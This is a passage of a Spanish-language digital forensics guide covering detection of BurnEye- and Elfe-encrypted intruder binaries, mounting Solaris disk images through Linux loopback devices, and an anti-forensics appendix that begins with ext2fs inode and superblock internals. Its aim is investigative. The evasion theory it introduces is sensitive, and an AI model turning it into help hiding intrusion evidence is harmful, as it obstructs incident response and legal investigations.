Para detectar la diferencia entre el nivel 1 y nivel 2, hay que ejecutar el programa. Por lo tanto hay que asegurarse que no es ni sGID, sUID. Si lo es hay que crear un usuario

con privilegios muy limitados, cambiar la pertenencia del fichero y quitarle sGID y sUID. A continuación se puede intentar obtener el listado de librerías dinámicas utilizadas por el binario:

```
[ervin@activalink.com dev]$ ldd ./void
  ldd: /lib/ld-linux.so.2 exited with unknown exit code (139)
```

Si se produce el output similar, entonces queda confirmado que el binario está cifrado y la única opción que tenemos es intentar ejecutarlo, pero sólo desde la cuenta del usuario con menos privilegios, por razones de seguridad.

```
[noone@activalink.com dev]$ ./void
  password:
  invalid key
```

Una vez ejecutado el fichero vemos que nos solicita la contraseña y si pulsamos Enter, nos informa que la clave no es correcta. Ahora estamos seguros que el fichero está cifrado con BurnEye con protección de Nivel 2. Este nivel de protección es fácil de romper como el anterior, será necesario utilizar las técnicas de debugging avanzadas y buen conocimiento de ensamblador [6]. Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace(), para intentar saltar la protección de binarios protegidos [7]. La interacción entre el motor de cifrado con el binario original es todavía débil por lo tanto teóricamente se puede utilizar técnicas de "unwrapping" pero si la contraseña ha sido elegida bien por el intruso, el binario es casi indescifrable.

Nivel 3. Esta capa de protección tiene un modo de funcionamiento diferente a los niveles anteriores. Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de máquina dónde ha sido encontrado (utilizado). El binario incluye internamente un "sello" del equipo permitido. Y cada vez que se ejecuta el motor de cifrado interno busca el "sello" de la máquina y si no coincide con el "fingerprint" almacenado dentro del algoritmo, no permite la ejecución de la aplicación. El "sello" es único en cada máquina que se calcula a través de un algoritmo propio desarrollado por TESO; utiliza valores sysinstall, procpci, proccpu, procmem, procroute, procpartitions (/proc en general) para generar un único "sello" (fingerprint). Los binarios protegidos con éste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores: output strings, breakpoint trap, etc.

Si estamos estudiando el binario, doy por sentado que nos encontramos en una estación de análisis y no en el equipo comprometido, por lo tanto si intentamos ejecutar la aplicación protegida con este nivel de BurnEye en un entorno seguro (no sUID, no sGID y como usuario con privilegios limitados) obtendremos el siguiente output:

```
[chrooted@beta.activalink.com chrooted]# ./output
  invalid fingerprint
```

Es casí imposible de obtener el binario original si no nos encontramos en la máquina con un sello reconocido por el ejecutable ya que el fichero original está cifrado y se descifra con el stream cipher RC4.

Elfe [8] - Este tipo de protección se utiliza por los intrusos con nivel de conocimientos medio, medio-alto, que conocen la estructura de binarios ELF. Elfe ofrece 1 nivel de protección de binarios ELF a través de RC4. A través de esta herramienta se puede especificar cual de las secciones del binario (.text, .data, .rodata) se quiere proteger. Esa aplicación funciona sólo bajo la arquitectura x86 y únicamente puede proteger binarios producidos por el compilador gcc y stripeados, tiene soporte para binarios linkados de forma estática así como dinámica.

Comparando esa herramienta con las anteriores, podemos decir que ofrece menor nivel de protección que BurnEye y mayor que UPX. Se puede detectar fácilmente que el binario está cifrado con Elfe ya que el output de la utilidad strings informa en las últimas líneas un texto similar:

password:

Done. Returning to program.

QZ^&

También podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas, ya que Elfe se limita a cifrar sólo .text, .data, .rodata máximo y si no se especifica sólo la sección .text. Las herramientas strace, objdump, de la colección de herramientas binutils nos podrán ser de utilidad. Si se ejecuta la aplicación sin saber la contraseña correcta la aplicación puede colgarse, o producir SIGSEGV Segmentation Fault.

Aunque el método de protección no implementa detección de debuggers, el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2º y 3º nivel de BurnEye (Para más información ver [9]).

Apéndice B - Sistema de Ficheros Loopback de Linux

El kernel de Linux tiene soporte vara múltiples sistemas de fichero (ver "man mount") tales como: adfs, affs, autofs, coda, coherent, devpts, efs, ext, ext2, hfs, hpfs, iso9660, minix, msdos, ncpfs, nfs, ntfs, proc, qnx4, romfs, smbfs, sysv, udf, ufs, umsdos, vfat, xenix, xiafs.

Los sistemas de ficheros coherent, sysv y xenix son idénticos y en el futuro no se mencionarán los tres sino, se limitará a utilizar el nombre sysv.

El soporte de una variedad de sistemas de ficheros por el kernel de GNU/Linux nos ofrece una buena plataforma de análisis ya que no tendremos que cambiar ni de máquina ni de sistema operativo para estudiar un sistema comprometido que no sea GNU/Linux.

Linux también tiene soporte para dispositivos "loopback", que permiten montar un sistema de ficheros dentro del fichero. Este método se utiliza dentro de los discos arrancables, CD-ROMs auto-ejecutables, sistemas de fichero cifrados para laptops, etc. Para más información podemos leer siguiente documentación de losetup(8), mount(8).

Los dispositivos "loop" en las versiones anteriores de GNU/Linux eran 8 por defecto y se utilizaban de forma indirecta por el comando "mount", mientras que actualmente son 16. Estos dispositivos se encuentran en el directorio /dev junto con el resto de dispositivos.

```
[static@lowershaft.activalink dev]$ ls -l /dev/loop*
  brw-rw---- 1 root root 7, 0 Apr 11 16:25 /dev/loop0
  brw-rw---- 1 root root 7, 1 Apr 11 16:25 /dev/loop1
  brw-rw---- 1 root root 7, 10 Apr 11 16:25 /dev/loop10
  brw-rw---- 1 root root 7, 11 Apr 11 16:25 /dev/loop11
  brw-rw---- 1 root root 7, 12 Apr 11 16:25 /dev/loop12
  brw-rw---- 1 root root 7, 13 Apr 11 16:25 /dev/loop13
  brw-rw---- 1 root root 7, 14 Apr 11 16:25 /dev/loop14
  brw-rw---- 1 root root 7, 15 Apr 11 16:25 /dev/loop15
  brw-rw---- 1 root root 7, 2 Apr 11 16:25 /dev/loop2
  brw-rw---- 1 root root 7, 3 Apr 11 16:25 /dev/loop3
  brw-rw---- 1 root root 7, 4 Apr 11 16:25 /dev/loop4
  brw-rw---- 1 root root 7, 5 Apr 11 16:25 /dev/loop5
  brw-rw---- 1 root root 7, 6 Apr 11 16:25 /dev/loop6
  brw-rw---- 1 root root 7, 7 Apr 11 16:25 /dev/loop7
  brw-rw---- 1 root root 7, 8 Apr 11 16:25 /dev/loop8
  brw-rw---- 1 root root 7, 9 Apr 11 16:25 /dev/loop9
```

Combinar dos utilidades como dd y mount es más fácil de lo que puede pensar. Puede hacer una prueba copiando imágenes de cada partición con dd del sistema de ficheros de la víctima, los copia a su sistema y les monta utilizando dispositivos "loopback". Para nuestro ejemplo, las particiones fueron obtenidos de un disco duro interno de una Sun SPARC ejecutando Solaris 2.5:

```
# ls -l c0t3d0*
```

-rw-r--r-- 1 root root 189399040 Sep 14 12:44 c0t3d0s0.dd

-rw-r--r-- 1 root root 171991040 Sep 14 13:15 c0t3d0s1.dd

-rw-r--r-- 1 root root 220733440 Sep 14 12:57 c0t3d0s3.dd

-rw-r--r-- 1 root root 269475840 Sep 14 12:51 c0t3d0s6.dd

-rw-r--r-- 1 root root 515973120 Sep 14 13:48 c0t3d0s7.dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo "sun" y que deseamos utilizar un dispositivo loopback de siguiente manera:

mount -o ro,loop,ufstype=sun -t ufs c0t3d0s0.dd /t

Desde aquí podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema de víctima /etc/vfstab (montado en este ejemplo bajo /t):

grep c0t3d0 /t/etc/vfstab

/dev/dsk/c0t3d0s1 - - swap - no -

/dev/dsk/c0t3d0s0 /dev/rdsk/c0t3d0s0 / ufs 1 no -

/dev/dsk/c0t3d0s6 /dev/rdsk/c0t3d0s6 /usr ufs 1 no -

/dev/dsk/c0t3d0s3 /dev/rdsk/c0t3d0s3 /var ufs 1 no -

/dev/dsk/c0t3d0s7 /dev/rdsk/c0t3d0s7 /export/home ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera:

mount -o ro,loop,ufstype=sun -t ufs c0t3d0s3.dd /t/var

mount -o ro,loop,ufstype=sun -t ufs c0t3d0s6.dd /t/usr

mount -o ro,loop,ufstype=sun -t ufs c0t3d0s7.dd /t/export/home

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo "grave-robber".

df

Filesystem 1k-blocks Used Available Use% Mounted on

. . .

/x/c0t3d0s0.dd 173791 68725 87696 44% /t

/x/c0t3d0s3.dd 202423 26148 156035 14% /t/usr

/x/c0t3d0s6.dd 246743 197592 24481 89% /t/var

/x/c0t3d0s7.dd 473031 111506 314225 26% /t/export/home

mount

. . .

/x/c0t3d0s0.dd on /t type ufs (ro,loop=/dev/loop0,ufstype=sun)

/x/c0t3d0s3.dd on /t/usr type ufs (ro,loop=/dev/loop1,ufstype=sun)

/x/c0t3d0s6.dd on /t/var type ufs (ro,loop=/dev/loop2,ufstype=sun)

/x/c0t3d0s7.dd on /t/export/home type ufs (ro,loop=/dev/loop3,ufstype=sun)

Apéndice C - **Anti-Forensics: Teoría de Evasión Forense**

Con el desarrollo progresivo de los métodos de investigación forense, en los foros públicos, BBS's empezaron a aparecer posts referentes a las técnicas que los intrusos pueden utilizar para evitar que un forense cualificado pueda llevar acabo su trabajo con éxito. El trabajo del investigador forense depende de las pruebas encontradas en el sistema de ficheros de la máquina comprometida en todo caso, en el supuesto de que no exista ninguna prueba la eficacía de la investigación se reduce a nada.

El objetivo detrás de cualquier investigación realizada por un forense o un equipo de respuesta rápida sobre un sistema de ficheros puede ser de tipo 'legal' o 'casual'. Teniendo en consideración que estos términos no tienen un significado estandarizado para describir los motivos de una investigación y cada uno de ellos se diferencia bastante del otro debemos detallar más.

Investigación Legal: La mayoría de las investigaciones forenses de tipo legal tienen como objetivo asistir a los órganos oficiales a llevar acabo una investigación criminal a fin de llevar ante la justicia al culpable del delito. En investigaciones de este tipo es imprescindible seguir de forma estricta los procedimientos para el tratamiento de pruebas que van a ser presentadas en el juzgado. Por ejemplo, el mero error de sobreescribir cualquier prueba en el sistema de ficheros por información aleatoria (pérdida de datos) es suficiente para considerar el resto de las pruebas de la misma índole como inviables por parte de un juez o fiscal. Investigaciones legales, a menudo, únicamente se limitan a la conservación de datos y esfuerzos de mantener la integridad de información en el sistema de ficheros una vez el hecho del compromiso ha sido probado. Las pruebas tras ser tratadas de forma correcta se transfieren al poder de órganos oficiales para ser analizados por parte de sus recursos. El nivel de participación del forense en la investigación una vez las pruebas han sido transferidas depende del deseo del denunciante y la voluntad de órganos oficiales.

Investigación Casual: Cualquier tipo de investigación casual no tiene como objetivo la persecución legal del individuo responsable del acto criminal. La investigación se realiza por el interés desde el punto de vista forense, por lo tanto las técnicas, herramientas y metodología utilizada puede ser usada de forma más agresiva. La realización de una investigación forense casual requiere más conocimiento y experiencia por parte del investigador, ya que en estos casos no existen requerimientos estrictos de terceros referentes a la cantidad y calidad de pruebas obtenidas.

Indiferentemente del tipo de investigación los pasos iniciales deben ser básicamente los mismos en cada caso:

- El sistema de ficheros debe ser salvada
- La información que contiene el sistema de ficheros debe ser recogida
- Esa información debe ser tratada y almacenada como prueba
- Las pruebas deben ser examinadas

El concepto de prueba se forma por el contenido de los ficheros (datos) y la información sobre los ficheros (meta-datos). Basándose en las pruebas obtenidas del sistema de ficheros el investigador debe intentar a:

- **Quien** - Reunir la información sobre el/los individuo/s involucrados en el compromiso
- **Que** - Determinar la naturaleza exacta de eventos ocurridos
- **Cuando** - Reconstruir la secuencia temporal de los hechos
- **Como** - Descubrir que herramientas o exploits han sido utilizados para el compromiso

Como un ejemplo de proceso forense examinaremos un caso de recuperación de un fichero eliminado.

Cuando hablamos de borrar un archivo bajo GNU/Linux, Unix queremos decir que el contador interno de enlaces inode (i_links_count) se decrementa a 0. El decremento es alcanzado eliminando todos los pares de inodes de la tabla de directorio referentes al nombre del fichero. Una vez el inode es eliminado, el núcleo marcará este recurso como disponible para uso por otros ficheros o procesos, nada más. El inode eliminado va a seguir conteniendo la información sobre el fichero referenciado y los bloques de datos a que el inode hace referencia seguirán teniendo el contenido del archivo. Este estado se mantendrá hasta que el espacio se re-asigne y se reuse sobreescribiendo los datos residuales. Por lo tanto la recuperación de ficheros eliminados es esencial para cualquier analista forense, dicho en otras palabras la recuperación de archivos se reduce a la búsqueda de inodes con datos pero con el contador de enlaces a 0 (es decir no vírgenes). El resultado es el listado de inodes borrados. Los punteros indicarán el offset de bloques que contienen los datos del fichero, lo que permitirá posiblemente recuperar el/los archivo/s eliminados. Aunque los bloques de datos ya estén ocupados por otra información (imposible recuperar el/los fichero/s) el analista puede obtener mucha información sobre lo que ha ocurrido en el sistema de ficheros examinando los meta-datos presentes en el directorio de entradas y inodes.

Los meta-datos no son asequibles a través de la interfaz de llamadas de sistema del núcleo, por lo tanto no son alterables por las herramientas estándares del sistema operativo (desde el punto de vista forense). La industria forense digital hasta ahora tenía pocos problemas para analizar de forma efectiva sistemas de ficheros de servidores comprometidos, pero este hecho está cambiando.

a. Introducción

Definición: El término de evasión forense (anti-forensics) se refiere a las técnicas de eliminación y/o de ocultación de pruebas para complicar o imposibilitar la efectividad del análisis forense.

El análisis forense informático está ocupando rápidamente un lugar importante en procedimientos de respuesta a incidentes. Hace varios años sólo existía un número limitado de profesionales y aplicaciones capaces de detectar de forma estandarizada los indicios en una investigación forense, incrementándose últimamente la demanda de estos profesionales y el número de herramientas disponibles.

Es asombroso, que a pesar del interés creciente en el área de informática forense, dentro de la industria de seguridad informática, se habla muy poco sobre temas de evasión forense o anti-forensics. Para remediar la carencia de la cobertura, este anexo, basado en la publicación del Phrack, presenta algunas técnicas y estrategias de evasión al análisis forense sobre sistemas de ficheros GNU/Linux y Unix. Están incluidos ejemplos de estas técnicas utilizando como base el sistema de ficheros utilizadas de forma más común - ext2fs.

b. Resumen Sistema de Ficheros ext2fs

Esta sección describirá la teoría del sistema de ficheros de Unix sin centrarse en las implementaciones o distribuciones específicas, cubriendo la estructura interna de meta datos usados para organizar el sistema de ficheros. Los archivos dentro del sistema operativo Unix son streams continuos de bytes de longitud arbitraria usados para la entrada y salida. Este documento se centrara en archivos en su sentido amplio de almacenamiento de datos en el disco y su organización por sistemas de ficheros.

Los datos en un disco con sistema de fichero Unix se dividen normalmente en dos grupos, la información sobre los archivos y los datos dentro de los archivos. La información de organización y estadística de sistema de ficheros (normalmente sólo visible al núcleo) se llama los "meta datos", e incluye los siguientes partes: el super-block, los inodes y los datos de directorio. El contenido almacenado dentro de los ficheros se considera simplemente como "información".

Para crear la imagen abstracta de un fichero el kernel tiene que traducir de forma transparente al usuario los datos almacenados en uno o más sectores del disco duro en una secuencia de bytes. El sistema de ficheros se utiliza para no perder de vista cuales, y en qué orden deben ser agrupados los datos para montar un fichero. Además, los grupos de sectores deben ser guardados de forma separada y ser visibles al sistema operativo de forma individual. Por esa razón existen varios tipos de "meta-datos", siendo cada uno de los tipos responsable de realizar una de las siguientes tareas.

El contenido de un archivo se almacena en bloques de datos que son clusters lógicos de sectores del disco duro. Cuanto más alto es el número de sectores por bloque de datos cuanta más rápida es la velocidad de la E/S del disco, mejorando el rendimiento del sistema de ficheros. Al mismo tiempo, cuanto más grande es el tamaño de bloques de datos más espacio de disco duro se derrocha para los archivos que no terminan en los límites del bloque. Los sistemas de ficheros modernos típicamente tienen el tamaño del bloque de 4096 o 8192 bytes y combaten el despilfarro del disco con "fragmentación" (algo no tratado en este documento).

La parte del disco dedicada a bloques de datos se organiza como un array, y los bloques son referidos por sus offsets dentro de este array. El estado de un bloque particular, es decir "libre" contra "utilizado", se almacena en un bitmap llamado "block bitmap".

Los bloques de datos son ordenados y organizados en archivos por inodes. El inode es la estructura de meta datos que representa archivos visibles al usuario; un inode para cada archivo único. Cada inode contiene un array de punteros del bloque de datos y otra información adicional sobre el archivo. Esa información adicional incluye los parámetros de UID, GID, tamaño, permisos, MAC, y otros ciertos datos. La cantidad de espacio limitada disponible para los inodes significa que el array del bloque puede contener solamente un número reducido de punteros.

Para permitir que los tamaños de los ficheros tengan un tamaño substancial, los inodes emplean "bloques indirectos". Un bloque indirecto actúa como una extensión al array del bloque, almacenando punteros adicionales. Los siguientes bloques indirectos contienen referencias a otros bloques indirectos, y estos otros bloques indirectos contienen

referencia a siguientes bloques respectivamente (hasta almacenar el fichero). Los inodes se almacenan en un array llamado inode table, y son referidos por sus índices basados en 0 dentro de esta tabla. El estado de un inode, es decir libre contra utilizado, se almacena en un bitmap llamado de forma original "inode bitmap".

Los archivos, es decir, inodes, están asociados a nombres de los ficheros a través de las estructuras especiales llamadas directory entries y almacenadas dentro de ficheros de directorio. Estas estructuras se almacenan uno al lado del otro dentro del archivo de directorio. Las entradas de directorios tienen siguiente estructura básica:

```
struct dirent {
  int inode;
  short rec_size;
  short name_len;
  char file_name[NAME_LEN];
  };
```

El elemento 'inode' de la estructura dirent contiene el número del inode que hace referencia al nombre del fichero, almacenado en la variable 'file_name'. Para ahorrar el espacio, la longitud real del nombre del fichero se registra variable 'name_len' y el espacio restante en el array file_name bajo el índice NAME_LEN y se utilizar por la siguiente estructura de entrada de directorio. El tamaño de un dirent se redondea generalmente hasta aproximadamente 2**2, y este dato se almacena en la variable 'rec_size'. Cuando se quita el enlace del nombre/inode del archivo, el valor del inode se fija a 0 y 'rec_size' del dirent precedente se extiende para abarcar el dirent eliminado. Esto tiene el efecto de almacenar los nombres de archivos suprimidos dentro de ficheros de directorio.

Cada vez que un nombre del archivo se asocia a un inode, el contador interno dentro del inode se incrementa. Asimismo, cada vez que se quita este enlace, el contador se decrementa. Cuando este contador alcanza el valor de 0, no quedan referencias al inode dentro de la estructura del directorio; eso significa que el archivo es borrado. Los archivos que han sido suprimidos pueden tener sus recursos, bloques de los datos, el inode sí mismo liberados con seguridad. Esto se logra modificando los bitmaps respectivos.

Los archivos de directorios se organizan de forma lógica como un árbol que empieza desde el directorio raíz. Este archivo de directorio de raíz se asocia al inode conocido (2) de modo que el núcleo pueda localizarlo, y monta el sistema de ficheros.

Para montar un sistema de ficheros el núcleo necesita conocer el tamaño y la ubicación de meta datos. La primera parte de meta datos - el "super block", se almacena en una ubicación conocida. El super-block contiene la información sobre el número de inodes y de bloques, del tamaño de un bloque, y mucha otra información adicional. Basándose en los datos contenidos dentro del super-block, el kernel puede calcular las localizaciones y los tamaños de la tabla de inodes y de la porción de los datos del disco.

Por razones del rendimiento, ningún sistema de ficheros moderno tiene sólo una tabla del inode y un array del bloque. Al contrario, los inodes y los bloques se organizan en grupos distribuidos a través del disco. Estos grupos normalmente contienen sus bitmaps privados de sus inodes y bloques, así como las copias del super-block para facilitar la recuperación en caso de la pérdida de datos.

En la siguiente sección cubriremos más en detalle la organización del sistema de ficheros ext2fs.

c. Organización de ext2fs

El 'second extended file system' (ext2fs) es un sistema de ficheros estandar de Linux OS. Este capítulo proporcionará detalles necesarios para conocer a fondo la organización de este sistema de ficheros. La lectura de este paper no servirá como sustitución al estudio de las especificaciones de este sistema de ficheros y examen de de los src del kernel y de la librería ext2fs. A continuación está la descripción del sistema de ficheros ext2 empezando por los bloques de datos, inodes y concluyendo con directorios.

Bloques - La unidad básica de un sistema de ficheros es un bloque de datos utilizado para almacenar el contenido de los ficheros. Tipicamente, desde el punto de vista físico y independientemente del sistema de ficheros, la unidad más pequeña de espacio en el disco duro es un sector (512 bytes), pero es muy poco desde el punto de vista del ratio entrada/salida de datos. Para incrementar el rendimiento múltiples sectores están agrupados en un cluster y son considerados como una unidad de almacenamiento de datos - bloque. Un bloque típico puede tener en ext2fs un tamañode 4096 bytes, pero también puede ser de 2048 bytes y incluso 1024 (8, 4 y 2 sectores respectivamente).

Inodes - La segunda parte del sistema de ficheros son inodes - el corazón del sistema de ficheros ext2fs. Los inodes contienen meta-datos sobre cada fichero incluyendo punteros (1) a los bloques de datos asociados, permisos (2) de los ficheros, tamaños (3), propietarios (4), grupos (5) así como mucha otra información útil. El formato de un inode ext2 es el siguiente:

```
struct ext2_inode {
        __u16 i_mode; /* Modo del Fichero */
        __u16 i_uid; /* UID Propietario */
        __u32 i_size; /* Tamaño en bytes */
        __u32 i_atime; /* Fecha de Acceso */
        __u32 i_ctime; /* Fecha de Creación */
        __u32 i_mtime; /* Fecha de Modificación */
        __u32 i_dtime; /* Fecha Eliminación */
        __u16 i_gid; /* GID Propietario */
        __u16 i_links_count; /* Contador de enlaces */
        __u32 i_blocks; /* Contador de bloques */
        __u32 i_flags; /* Marcadores Fichero */
        union {
                struct {
                __u32 l_i_reserved1;
                } linux1;
                struct {
                __u32 h_i_translator;
         } hurd1;
              struct {
                __u32 m_i_reserved1;
```

```
                    } masix1;
            } osd1; /* Información dependiente del Sistema Operativo 1 */
            __u32 i_block[EXT2_N_BLOCKS];/* Punteros a los Bloques */
            __u32 i_version; /* Versión de fichero NFS */
            __u32 i_file_acl; /* Fichero ACL */
            __u32 i_dir_acl; /* Directorio ACL */
            __u32 i_faddr; /* Dirección del fragmente */
        union {
                struct {
                __u8 l_i_frag; /* Número Fragmento */
                __u8 l_i_fsize; /* Tamaño Fragmento */
                __u16 i_pad1;
                __u32 l_i_reserved2[2];
            } linux2;
          struct {
                __u8 h_i_frag; /* Número Fragmento */
                __u8 h_i_fsize; /* Tamaño Fragmento */
                __u16 h_i_mode_high;
                __u16 h_i_uid_high;
                __u16 h_i_gid_high;
                __u32 h_i_author;
            } hurd2;
              struct {
                __u8 m_i_frag; /* Número Fragmento */
                __u8 m_i_fsize; /* Tamaño Fragmento */
                __u16 m_pad1;
                __u32 m_i_reserved2[2];
                } masix2;
            } osd2; /* Información dependiente del Sistema Operativo 2 */
};
```

Existen dos uniones porque ext2fs ha sido diseñado para ser utilizado por sistemas operativas ligeramente diferentes (implementaciones, distros). Aparte de las cosas puntuales los únicos elementos de la unión que importan son estructuras linux1 y linux2, el resto de las estructuras simplemente ahora pueden ser consideradas como facilidades adicionales ya que en la última implementación ext2fs se ignoran. El uso del resto de los valores de un inode están explicadas a continuación:

- i_mode - El modo del fichero, se refiere a los permisos octales de cualquier sistema GNU/Linux.
- i_uid - Este elemento contiene el UID del propietario del fichero.
- i_size - El tamaño de los ficheros en bytes. El tamaño máximo de un fichero puede ser de 4Gb por el tipo de variable unsigned int de 32 bit. El soporte para los tamaños de

ficheros de 64 bits ha sido inventado creando una definición #define i_size_high i_dir_acl

- i_atime - La fecha de último acceso al fichero. Todos los valores temporales se expresan en el modo estandar de Unix de contar el tiempo - en segundos desde el inicio del siglo.
- i_ctime - La fecha de creación del fichero.
- i_mtime - La fecha de la última modificación del fichero.
- i_dtime - Fecha eliminación del fichero. Si el fichero todavía no ha sido eliminado el valor de este registro contiene 0x00000000.
- i_gid - El GID del fichero.
- i_links_count - Este registro contiene el contador de veces que el fichero se referencia en el sistema de ficheros de nivel superior. Es decir que cada hard link al fichero incrementa este contador. Cuando el último enlace del sistema de ficheros ha sido eliminado el valor del registro es 0, significa que el fichero ha sido eliminado. Los bloques asociados al inode están marcados en el bitmap como libres.
- i_blocks - El número de bloques referenciados por el inode. Este bloque no incluye bloques indirectos, sólo aquellos que contienen el contenido real del fichero.
- i_flags - Los atrubutos adicionales del ext2fs consisten en valor único o una combinación de los siguientes valores:

```
#define EXT2_SECRM_FL 0x00000001 /* Borrado Seguro */
#define EXT2_UNRM_FL 0x00000002 /* Recuperación */
#define EXT2_COMPR_FL 0x00000004 /* Compresión del Fichero */
#define EXT2_SYNC_FL 0x00000008 /* Actualización Sincronizada */
#define EXT2_IMMUTABLE_FL 0x00000010 /* Fichero inmutable */
#define EXT2_APPEND_FL 0x00000020 /* Únicamente añadir contenido */
#define EXT2_NODUMP_FL 0x00000040 /* No permitir el dump del fichero */
#define EXT2_NOATIME_FL 0x00000080 /* No actualizar el registro atime */
/* Reservado para el uso de compresión de datos... */
#define EXT2_DIRTY_FL 0x00000100
#define EXT2_COMPRBLK_FL 0x00000200 /* Comprimir clusters */
#define EXT2_NOCOMP_FL 0x00000400 /* No realizar compresión */
#define EXT2_ECOMPR_FL 0x00000800 /* Error de compresión */
/* Fin marcadores de compresión --- algunos no se utilizan */
#define EXT2_BTREE_FL 0x00001000 /* formato directorio btree */
#define EXT2_RESERVED_FL 0x80000000 /* reservado para la librería ext2 */
```

- i_block[] - Un array de punteros de bloques. Hay 15 elementos en el array, los primeros 12 elementos son punteros directos a bloques, estos contiene el contenido real de los ficheros. El puntero número 13 contiene la referencia al bloque que sirve como extensión para el array. Este bloque es un bloque indirecto, y los punteros que contiene apuntan al resto de los bloques directos adicionales. El elemento 14 del array contiene una referencia a otro array que incluye un array de punteros a los bloques indirectos. Este elemento es un bloque indirecto doble, mientras que el último elemento del array contiene referencia a los bloques indirectos dobles:

```
#define EXT2_NDIR_BLOCKS 12
#define EXT2_IND_BLOCK EXT2_NDIR_BLOCKS
#define EXT2_DIND_BLOCK (EXT2_IND_BLOCK + 1)
```

```
#define EXT2_TIND_BLOCK (EXT2_DIND_BLOCK + 1)
#define EXT2_N_BLOCKS (EXT2_TIND_BLOCK + 1)
```

- i_version - La versión del fichero. No se utiliza actualmente.
- i_file_acl - Un puntero a una lista ACL. En la versión ext2fs no se utiliza ya que no exiten listas ACL, puede que se utilice en las siguientes versiones del sistema de ficheros.
- i_dir_acl - Un puntero a una lista ACL. En la versión ext2fs no se utiliza como ACL sino como el valor de i_size_high. Estos son 32 bit del de espacio adicional para el tamaño del fichero. Permite tene el tamaño del fichero a 64 bits unsigned int.
- i_faddr - Dirección del fragmeto. Los fragmentos no se utilizan en ext2fs por lo tanto el valor de este registro es 0.

Algunos inodes tienen un significado especial dentro del sistema de ficheros.

```
#define EXT2_BAD_INO 1 /* Inode de bloques dañados */
#define EXT2_ROOT_INO 2 /* Inode de Raiz */
#define EXT2_ACL_IDX_INO 3 /* Inode ACL */
#define EXT2_ACL_DATA_INO 4 /* Inode ACL */
#define EXT2_BOOT_LOADER_INO 5 /* Inode del boot loader */
#define EXT2_UNDEL_DIR_INO 6 /* Inode de recuperación de un directorio borrado */
```

El inode de bloques dañados contiene punteros a los bloques de datos que contienen sectores dañados en el disco duro. El inode raiz es el directorio raiz que contiene el inicio del todo el arbol de directorio. El resto de los inodes no se utilizan normalmente en sistemas de producción. El primer inode utilizado para los ficheros de usuarios es el 11. Este inode es el directorio "lost+found", creado por la herramienta mkfs.

Superblock - El superblock es el único medio básico para proporcionarl al kernel la información del estado del sistema de ficheros. Este bloque indica el número de inodes, bloques, grupos y además mucha otra información adicional. Los elementos dentro del superblock cambian más frecuentemente que la información sobre inodes o datos del grupo porque libext2fs añade más funcionalidades a ext2fs que puede no ser implementado dentro del kernel. El formato que examinamos es de e2fsprogs-1.19. El super block es de 1024 bytes, y su offset está a 1024 bytes del inicio de una partición.

El formato del super block es el siguiente:

```
struct ext2fs_sb {
__u32 s_inodes_count; /* Contador de inodes */
__u32 s_blocks_count; /* Contador de bloques */
__u32 s_r_blocks_count; /* Contador bloques reservados */
__u32 s_free_blocks_count; /* Contador bloques libres */
__u32 s_free_inodes_count; /* Contador inodes libres */
__u32 s_first_data_block; /* Primer bloque de datos */
__u32 s_log_block_size; /* Tamaño del bloque */
__s32 s_log_frag_size; /* Tamaño fragmento */
__u32 s_blocks_per_group; /* # Bloques por grupo */
__u32 s_frags_per_group; /* # Fragmentos por grupo */
```

```
__u32 s_inodes_per_group; /* # Inodes por grupo */
__u32 s_mtime; /* Fecha de montura */
__u32 s_wtime; /* Fecha escritura */
__u16 s_mnt_count; /* Contador de montura */
__s16 s_max_mnt_count; /* Contador número máximo monturas */
__u16 s_magic; /* Firma mágica */
__u16 s_state; /* Estado sistema de ficheros */
__u16 s_errors; /* Comportamiento al encontrar errores */
__u16 s_minor_rev_level; /* Nivel de revisión - menor */
__u32 s_lastcheck; /* Fecha de última comprobación */
__u32 s_checkinterval; /* Periodo máximo entre comprobaciones */
__u32 s_creator_os; /* Sistema Operativo */
__u32 s_rev_level; /* Nivel de Revisión */
__u16 s_def_resuid; /* UID por defecto para bloques reservados */
__u16 s_def_resgid; /* GID por defecto para bloques reservados */
/*
* Estos campos son para superblocks de EXT2_DYNAMIC_REV.
*
* Nota informativa: la diferencia entre las carácteristicas compatibles y
* las incompatibles es que si dentro de las carácteristicas no soportadas
* un valor está marcado y kernel no lo reconoce, rechazará la montura del
* del sistema de ficheros.
*
*/
__u32 s_first_ino; /* Primer inode no reservado */
__u16 s_inode_size; /* Tamaño estructura inode */
__u16 s_block_group_nr; /* grupo de bloques # de este superblock */
__u32 s_feature_compat; /* características compatibles */
__u32 s_feature_incompat; /* características incompatibles */
__u32 s_feature_ro_compat; /* carácteristicas de solo lectura */
__u8 s_uuid[16]; /* Uuid de 128-bit del volumen */
char s_volume_name[16]; /* nombre volumen */
char s_last_mounted[64]; /* último punto de montura */
__u32 s_algorithm_usage_bitmap; /* para compresión */
/*
* Sugerencias de rendimiento. Si el registro EXT2_FEATURE_COMPAT_DIR_PREALLOC
* está activado, los directorios se reservan.
*/
__u8 s_prealloc_blocks; /* Número de bloques intentar reservar */
__u8 s_prealloc_dir_blocks; /* Número bloques reservar para directorios */
__u16 s_padding1;
```

```
/*
* Soporte para journaling.
*/
__u8 s_journal_uuid[16]; /* uuid del superblock del journal */
__u32 s_journal_inum; /* número inode del fichero journal */
__u32 s_journal_dev; /* número de dispositivo del fichero journal */
__u32 s_last_orphan; /* inicio de la lista de inodes a eliminar */

__u32 s_reserved[197]; /* Marca de finalización del bloque */
};
```

- s_inodes_count - Número total de inodes dentro del sistema de ficheros.
- s_blocks_count - Número total de bloques dentro del sistema de ficheros.
- s_r_blocks_count - Número de bloques reservados para el usuario root. En caso de que el sistema de ficheros se llene, éstos evitarán que los uauarios puedan hacer que el sistema de ficheros vuelva inestable.
- s_free_blocks_count - Número de bloques sin utilizar. Éste número se actualiza constantemente ya que cada momento los bloques se liberan y se ocupan.
- s_free_inodes_count - Número de inodes sin utilizar. Este valor se actualiza constantemente ya que cada momento los bloques se liberan y se ocupan de nuevo.
- s_first_data_block - Puntero al primer bloque de datos después de los bloques que sirven para almacenar tablas de inodes, bitmaps y grupos. El valor puede ser 0 o alternativamente el valor correcto.
